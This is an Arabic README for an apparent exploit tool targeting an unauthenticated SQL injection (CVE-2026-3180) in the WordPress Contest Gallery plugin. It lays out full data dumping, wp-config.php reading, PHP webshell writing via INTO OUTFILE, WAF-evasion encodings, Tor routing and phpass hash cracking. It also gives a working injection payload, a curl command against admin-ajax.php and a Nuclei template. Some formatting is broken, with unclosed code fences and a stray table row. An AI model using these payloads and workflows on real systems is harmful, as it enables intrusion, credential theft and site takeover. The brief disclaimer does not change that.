### المراجع

- [CVE-2026-3180](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-3180)
- [Exploit-DB 52609](https://www.exploit-db.com/exploits/52609)
- [الشرح الأصلي (cardosource)](https://dev.to/22l31on/wordpress-contest-gallery-plugin-vulnerability-2ff6)

---

## الميزات

### الاستغلال الأساسي

| الإمكانية | الوصف |
|---|---|
| كشف الثغرات | اختبارات الاستعلام المنطقي، والزمني، والمعتمد على الأخطاء، والاتحاد، والمكدسة |
| الاستخراج الأعمى | استخراج الأحرف بالبحث الثنائي عبر الاستدلال المنطقي |
| تفريغ البيانات الكامل | المستخدمون، بيانات تعريف قاعدة البيانات، الخيارات، الإضافات، السمات، المقالات، الجداول |
| واجهة SQL تفاعلية | تشغيل استعلامات `SELECT` مخصصة ضد الخلفية |
| استخراج wp-config.php | محاولات `LOAD_FILE()` ضد المسارات الشائعة |
| شل عكسي | كتابة PHP webshell عبر `INTO OUTFILE` / `DUMPFILE` (عند السماح) |

### التهرب والأداء

| الإمكانية | الوصف |
|---|---|
| تجاوز جدار الحماية | أكثر من 15 تقنية ترميز وإخفاء |
| تعدد الخيوط | خيوط عمل قابلة للتكوين لاستخراج أسرع |
| تحديد المعدل | تأخير قابل للتكوين بين الطلبات |
| منطق إعادة المحاولة | إعادة محاولة تلقائية عند فشل عابر |
| تدوير وكيل المستخدم | بصمات متصفح عشوائية لكل طلب |
| دعم الوكيل | وكلاء HTTP/SOCKS وTor (`socks5h://127.0.0.1:9050`) |

### التقارير والتكاملات

| الإمكانية | الوصف |
|---|---|
| توليد التقارير | تقارير JSON وHTML مع ملخصات الاستخراج |
| تكامل SQLMap | أمر SQLMap مولّد تلقائياً مع أدوات التمويه |
| ملحق Burp Suite | مولد + `burp_contest_gallery.py` مستقل |
| قالب Nuclei | قالب YAML للكشف الجماعي |
| وحدة Metasploit | وحدة مساعدة Ruby (`contest_gallery_sqli.rb`) |
| أتمتة الشل | نصوص Bash لسير عمل curl وSQLMap |

### التشغيلي

| الإمكانية | الوصف |
|---|---|
| مخرجات CLI ملونة | تسجيل منظم بمستويات خطورة |
| تتبع التقدم | مقاييس فورية (الطلبات، التوقيت، سرعة الاستخراج) |
| أوضاع هادئة / مطولة | مناسبة للبرمجة النصية والتصحيح |
| معالجة الإشارات | تنظيف أنيق عند `Ctrl+C` |
| جاهز لـ Docker | دعم النشر المعبأ بالحاويات |
| جاهز لخط أنابيب CI/CD | رموز الخروج ومخرجات JSON للأتمتة |

---

## التثبيت

### المتطلبات الأساسية

- Python **3.8+**
- `pip`
- إمكانية الوصول الشبكي إلى الهدف (الأهداف) قيد الاختبار

### الأدوات الخارجية الاختيارية

| الأداة | الغرض |
|---|---|
| [SQLMap](https://github.com/sqlmapproject/sqlmap) | حقن SQL الآلي |
| [Burp Suite](https://portswigger.net/burp) | الاختبار اليدوي واستضافة الإضافات |
| [Nuclei](https://github.com/projectdiscovery/nuclei) | المسح القائم على القوالب |
| [Hashcat](https://hashcat.net/hashcat/) | كسر التجزئات دون اتصال |
| [Tor](https://www.torproject.org/) | التوجيه المجهول (`--proxy tor`) |

### الإعداد```bash
git clone https://github.com/CerberusMrXi/WP-Contest-Gallery-28.1.4-Exploit.git
cd WP-Contest-Gallery-28.1.4-Exploit

python3 -m venv venv
source venv/bin/activate          # Windows: venv\Scripts\activate

pip install -r requirements.txt

python3 cve-2026-3180.py --help

**موصى به (من requirements.txt):**```text
colorama>=0.4.6
tqdm>=4.65.0
pyyaml>=6.0
python-dateutil>=2.8.2
urllib3>=2.0.0

### الاستغلال الكامل (الكشف + الاستخراج)```bash
python3 cve-2026-3180.py http://target.example

### واجهة SQL التفاعلية```bash
python3 cve-2026-3180.py http://target.example --sql-shell

### عبر Burp proxy```bash
python3 cve-2026-3180.py http://target.example --proxy http://127.0.0.1:8080 -v

يقوم بتشغيل الكشف المنطقي، الزمني، والقائم على الأخطاء دون استخراج كامل.

### استخراج كامل للبيانات```bash
python3 cve-2026-3180.py http://target.example --dump all

### شل SQL التفاعلي```bash
python3 cve-2026-3180.py http://target.example --sql-shell

**أوامر الصدفة:**

| الأمر | الوصف |
|---|---|
| `SELECT ...` | تنفيذ استعلام SQL وطباعة النتيجة |
| `show users` | عرض المستخدمين المستخرجين المخبأين |
| `show tables` | عرض قائمة الجداول المخبأة |
| `show database` | عرض بيانات قاعدة البيانات المخبأة |
| `show config` | عرض wp-config.php إذا تم استخراجه |
| `show options` | عرض خيارات ووردبريس |
| `show plugins` | عرض الإضافات النشطة |
| `help` | سرد الأوامر المتاحة |
| `exit` / `quit` | الخروج من الصدفة |

### توليد التقرير```bash
# JSON report (default, saved to reports/)
python3 cve-2026-3180.py http://target.example --report json

# HTML report with custom filename
python3 cve-2026-3180.py http://target.example --report html -o reports/assessment.html

> يتطلب امتياز `FILE`، جذر ويب قابل للكتابة، وعدم حظر `secure_file_priv` للمسار الهدف.

### توليد أوامر SQLMap```bash
python3 cve-2026-3180.py http://target.example --sqlmap

### إضافة Burp Suite```bash
# Generate extension from exploit
python3 cve-2026-3180.py http://target.example --burp-extension

# Or load the standalone extension
# Burp → Extender → Extensions → Add → Python → burp_contest_gallery.py

### أتمتة Bash (بدون Python)```bash
chmod +x cve-2026-3180_automated.sh
./cve-2026-3180_automated.sh http://target.example

### ضبط الأداء```bash
python3 cve-2026-3180.py http://target.example \
  --threads 20 \
  --timeout 15 \
  --delay 0.1 \
  --retries 5 \
  -v

### خوارزمية الاستخراج البولياني

1. تأكيد الثغرة باستخدام أطوال الأساس true/false  
2. بحث ثنائي لـ `LENGTH()` نتيجة الاستعلام المستهدف  
3. بحث ثنائي لـ `ASCII(SUBSTRING(...))` لكل موضع حرف  
4. تجميع السلسلة الكاملة من الأحرف المستخرجة  

---

## تجاوز WAF

تقنيات تشويش مدمجة تُطبق عشوائياً أو عند الطلب:

| التقنية | الوصف |
|---|---|
| `comment_obfuscation` | استبدال المسافات بـ `/**/`, `/*!*/`, `-- `, `#` |
| `case_variation` | أحرف كبيرة/صغيرة عشوائية في الأحرف الأبجدية |
| `url_encoding` | ترميز النسبة المئوية القياسي |
| `double_url_encoding` | ترميز النسبة المئوية المتداخل |
| `hex_encoding` | ترميز سداسي عشري على نمط `%41` |
| `unicode_encoding` | ترميز يونيكود على نمط `%u0041` |
| `white_space_variation` | علامات تبويب، أسطر جديدة، تغذية نموذج بدلاً من المسافات |
| `keyword_obfuscation` | تقسيم الكلمات المفتاحية: `SEL/**/ECT`, `UNI/**/ION` |
| `concat_obfuscation` | سلسلة `CHAR()` عبر `\|\|` |
| `char_obfuscation` | إضافة `CHAR()` عبر `+` |

مثال على حمولة محولة:```text
qualquer'OR/**/1=1#@teste.com
→ qualquer'%2F**%2FOR%2F**%2F1%3D1%23%40teste.com

### تكسير تجزئة كلمات المرور (غير متصل)

بعد الاستخراج، قم بتكسير تجزئات WordPress phpass باستخدام Hashcat:```bash
# Save hashes to file
python3 cve-2026-3180.py http://target.example --dump users -o users.json

# Crack with Hashcat (mode 400 = phpass)
hashcat -m 400 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt

### Burp Suite

1. قم بتحميل `burp_contest_gallery.py` في **Extender → Extensions → Add**
2. افتح علامة التبويب **CVE-2026-3180**
3. أدخل عنوان URL المستهدف وانقر على **Exploit**
4. يقوم الماسح الضوئي السلبي بفحص طلبات AJAX للبحث عن مؤشرات Contest Gallery

### Nuclei```yaml
id: CVE-2026-3180
info:
  name: WordPress Contest Gallery SQL Injection
  severity: high
  classification:
    cve-id: CVE-2026-3180
    cvss-score: 7.5

requests:
  - method: POST
    path: /wp-admin/admin-ajax.php
    body: "action=post_cg1l_resend_unconfirmed_mail_frontend&cgl_mail=test'&cgl_page_id=1&cgl_activation_key=&cg_nonce=%20"

## سلسلة الهجوم```mermaid
flowchart TD
    A["Unauthenticated POST to admin-ajax.php"] --> B["cgl_mail parameter unsanitized"]
    B --> C{"Injection type?"}
    C -->|Boolean| D["Response length inference"]
    C -->|Time| E["SLEEP delay inference"]
    C -->|Error| F["SQL error leakage"]
    D --> G["Binary-search extraction"]
    E --> G
    F --> G
    G --> H["WordPress data exfiltration"]
    H --> I["Users / hashes / options / config"]
    I --> J["Optional: OUTFILE webshell"]

### هيكل تقرير JSON```json
{
  "metadata": {
    "cve": "CVE-2026-3180",
    "cvss_score": "7.5 (High)",
    "type": "boolean_based"
  },
  "target": {
    "url": "http://target.example",
    "ajax_url": "http://target.example/wp-admin/admin-ajax.php"
  },
  "vulnerability": {
    "vulnerable": true,
    "type": "boolean_based"
  },
  "extracted_data": {
    "database": { "name": "wordpress", "version": "8.0.35" },
    "users": [],
    "tables": [],
    "plugins": [],
    "options": {}
  },
  "summary": {
    "users_found": 3,
    "tables_found": 12,
    "plugins_found": 8,
    "config_extracted": false
  }
}

| المعرف | المعرف المحلي | الحالة | الوصف |

|---------|----------|--------|-------------|

| CVE-2024–0001 | | | محجوز | 2024-01-01 |```bash
# Build
docker build -t cve-2026-3180 .

# Scan
docker run --rm cve-2026-3180 http://target.example --scan

# Full exploit with report volume
docker run --rm -v $(pwd)/reports:/app/reports cve-2026-3180 \
  http://target.example --report json

  - uses: actions/setup-python@v5
    with:
      python-version: '3.11'

  - run: pip install -r requirements.txt

  - name: Vulnerability scan
    run: |
      python3 cve-2026-3180.py ${{ secrets.STAGING_URL }} \
        --scan --quiet
    continue-on-error: true

  - name: Generate report
    run: |
      python3 cve-2026-3180.py ${{ secrets.STAGING_URL }} \
        --report json -o reports/staging.json

  - uses: actions/upload-artifact@v4
    with:
      name: security-report
      path: reports/

---

## استكشاف الأخطاء وإصلاحها

| العَرَض | ما يجب محاولته |
|---|---|
| الهدف غير معرّض للخطر | تأكد من تثبيت وتفعيل Contest Gallery الإصدار 28.1.4 أو أقل |
| عدم وجود اختلاف في طول الاستجابة | جرب `--scan` للرجوع إلى الاستعلامات الزمنية؛ قم بزيادة `--timeout` |
| استخراج بطيء جدًا | قم بزيادة `--threads`؛ قلل `--delay` بحذر |
| أخطاء الاتصال | ارفع قيم `--timeout` و `--retries`؛ تحقق من إعدادات الوكيل |
| حظر WAF للطلبات | استخدم `--proxy tor`؛ الأداة تطبق تقنيات تجاوز تلقائيًا |
| فشل وكيل Tor | تحقق من تشغيل Tor على `127.0.0.1:9050`؛ قم بتثبيت `requests[socks]` إذا لزم الأمر |
| تفريغ مستخدمين فارغ | قد لا تكون بادئة الجدول `wp_`؛ استخدم `--sql-shell` مع استعلامات مخصصة |
| لم يتم العثور على wp-config | جرب `--sql-shell` مع مسارات `LOAD_FILE()` بديلة |
| فشل الصدفة العكسية | تحقق من صلاحية `FILE`، و `secure_file_priv`، وأذونات مجلد الويب الجذر |

### سير عمل التصحيح```bash
# Verbose scan
python3 cve-2026-3180.py http://target.example --scan -v

# Through Burp
python3 cve-2026-3180.py http://target.example \
  --proxy http://127.0.0.1:8080 -v --scan

# Manual curl verification
curl -s -X POST "http://target.example/wp-admin/admin-ajax.php" \
  -d "action=post_cg1l_resend_unconfirmed_mail_frontend&cgl_mail=qualquer'OR/**/1=1#@teste.com&cgl_page_id=1&cgl_activation_key=&cg_nonce=%20" \
  -w "\nSize: %{size_download}\n"

---

## سجل الإصدارات

### الإصدار 2.0.0 — النسخة النهائية (يناير 2026)

- كشف الحقن المنطقي (Boolean)، الزمني (Time)، الخطأ (Error)، الاتحادي (Union)، والمكدس (Stacked)
- خط أنابيب كامل لاستخراج بيانات ووردبريس
- أكثر من 15 تقنية لتجاوز جدار الحماية للتطبيقات (WAF)
- شل SQL تفاعلية
- إنشاء تقارير بصيغة JSON / HTML
- تكامل مع SQLMap وBurp وNuclei
- شل عكسي عبر `INTO OUTFILE`
- دعم البروكسي وTor
- تعدد المهام مع منطق إعادة المحاولة
- مخرجات ملونة وتسجيل منظم

### الإصدار 1.0 — الإصدار الأولي

- كشف أساسي يعتمد على الحقن المنطقي (Boolean)
- استخراج يدوي للمستخدمين

---

## إخلاء مسؤولية

هذا المشروع مُقدم **كما هو** لأغراض **أبحاث الأمن الدفاعي** و**اختبار الاختراق المصرح به**.

باستخدامك لهذا البرنامج، فإنك توافق على ما يلي:

1. ستستهدف فقط الأنظمة التي تملكها أو التي لديك إذن صريح باختبارها.
2. أنت تدرك القوانين المطبقة المتعلقة بإساءة استخدام الحاسوب وحماية البيانات.
3. المؤلف والمساهمون **ليسوا مسؤولين** عن أي ضرر أو فقدان بيانات أو عواقب قانونية ناتجة عن سوء الاستخدام.

إذا اكتشفت هذه الثغرة في بيئة إنتاجية، فاتبع ممارسات الإفصاح المسؤول وتنسق مع بائع الإضافة / فريق أمان ووردبريس حسب الاقتضاء.

---

## المؤلف والإسنادات

| الدور | الاسم |
|---|---|
| **مؤلف الأداة** | Sudeepa Wanigarathna |
 | **الاكتشاف الأصلي** | cardosource |
| **CVE** | CVE-2026-3180 |
| **الترخيص** | MIT |

---

## الترخيص```
MIT License

Copyright (c) 2026 Sudeepa Wanigarathna

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.